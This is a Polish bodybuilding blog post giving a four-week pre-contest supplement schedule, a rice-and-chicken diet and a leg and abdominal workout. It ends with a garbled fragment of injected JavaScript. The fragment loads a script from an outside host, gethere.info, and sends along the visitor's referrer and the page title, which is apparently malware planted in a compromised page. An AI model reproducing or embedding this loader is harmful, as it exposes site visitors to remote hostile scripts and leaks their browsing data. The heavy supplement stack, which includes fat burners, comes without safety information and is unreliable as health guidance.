TRENING NÓG NA 4 tygodnie przed zawodami

28.02.2012 / Adam Jabłoński / Kulturystyka

na 4 i 2 dni TYGODNIA przed debiutami :

SUPLEMENTACJA :
+ Rano:
– 4 kaps CM3
– 50 gram ISOLATE 100
– 3 tab AMINO 4500 / AMINO WHEY SYSTEM
– 5 gram BCAA Powder
– 10 gram VITAMIN-SHOP 100% Glutamine Micronized
– 1 tab Multi Pack 36
– 1 kaps Super OMEGA-3 + Vitamin E
– 1 tab Fat Transporter
– 0,5 tab VIT-C Strong 1000
– 2 kaps Clenburexin 2
– 1 kaps Magne-100 Sport

+ Popołudniu:
– 1 kaps Super OMEGA-3 + Vitamin E
– 1 tab Fat Transporter
– 3 tab AMINO 4500 / AMINO WHEY SYSTEM
– 0,5 tab VIT-C Strong 1000

+ Popołudniu: trochę później:
– 1 kaps Super OMEGA-3 + Vitamin E
– 1 tab Fat Transporter
– 3 tab AMINO 4500 / AMINO WHEY SYSTEM
– 0,5 tab VIT-C Strong 1000

+ Przed Treningiem:
– 15 gram BCAA Powder
– 1 tab Fat Transporter
– 2 kaps Clenburexin 2
– 12 kaps AAKG MegaHardcore
– 2 kaps CM3

+ Po treningu siłowym :
– 15 gram BCAA Powder
– 10 gram VITAMIN-SHOP 100% Glutamine Micronized
– 50 gram Vitargo electro-energy
– 4 kaps CM3
– 1 tab VIT-C Strong 1000

+ Po pozowaniu :
– 50 gram IsoLate 100

+ Na Noc:
– 3 tab AMINO 4500 / AMINO WHEY SYSTEM
– 1 tab MultiPack 36
– 1 kaps Super OMEGA-3 + Vitamin E
– 1 tab Fat Transporter
– 2 kaps MAGNE-100 Sport
– 2 tab VIT-C Strong 1000
– 7 tab GH Turbo
– 1 kaps Magne-100 Sport

DIETA :

1 POSIŁEK :
90 gram zmielonych płatków owsianych
50 gram ISOLATE 100

2 POSIŁEK :
80 gram ryżu basmatii
200 gram gotowanej piersi z kurczaka
10 ml oleju lnianego

3 POSIŁEK :
80 gram ryżu basmatii
200 gram gotowanej piersi z kurczaka
10 ml oleju lnianego

4 POSIŁEK :
80 gram ryżu basmatii
200 gram gotowanej piersi z kurczaka
10 ml oleju lnianego

POSIŁEK (po siłowni) :
– 50 gram Vitargo electro-energy

POSIŁEK (po pozowaniu) :
– 50 gram ISOLATE 100

5 POSIŁEK (po siłowni) :
80 gram ryżu basmatii
200 gram gotowanej piersi z kurczaka

6 POSIŁEK :
200 gram gotowanej piersi z kurczaka

TRENING :

NOGI :

4 x 12 – PROSTOWNIE NÓG W SIADZIE
4 x 21(po 7 prosto, 7 wewnątrz, 7 zewnątrz) PROSTOWNIE NÓGI W SIADZIE
4 x 20 WYPYCHANIE CIĘŻARU NA SUWNICY JEDNĄ NOGĄ
4 x 20-25 SYZYFKI
4 x 25+25 ŁĄCZONA – ŚCIĄGANIE KOLAN W SIADZIE + ODWODZENIE KOLAN W SIADZIE

BRZUCH :

3 x SKŁONY TUŁOWIA Z LINKĄ WYCIĄGU KLĘCZĄC + parę ostatnich ruchów na boki.
3 x MAX UNOSZENIE NÓG W PODPORZE

A FORMA WYGLĄDA TAK – WAGA : 90,5 kg – po lekkim ładowaniu :















Pozdrawiam
Hej,s.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‚&default_keyword=’ + encodeURIComponent(document.title) + ”;